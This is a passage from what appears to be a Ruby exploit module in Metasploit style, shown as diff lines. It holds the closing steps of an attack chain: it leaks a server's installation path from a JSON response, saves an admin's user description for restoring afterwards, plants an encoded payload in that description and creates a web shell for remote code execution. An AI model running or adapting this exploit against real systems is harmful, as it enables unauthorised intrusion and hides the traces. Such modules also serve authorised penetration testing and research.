response, searching for installation path disclosures') + + # Parse the JSON and find entries matching the host name, then walk to an adjacent key to leak installation path + install_path = parse_json(leaked_json, hostname) + vprint_good("Leaked the installation path: #{install_path}") + + # Grab the pre-existing user description to reinstate after RCE is established + user_desc = get_user_desc(admin_token, admin_uid) + + vprint_status("Got user description: #{user_desc}") + + # Plant malicious code in user description, upload XML file for user info, then create the web shell + execute_command(hostname, admin_uid, payload.encoded, admin_token, install_path, user_desc) + end +end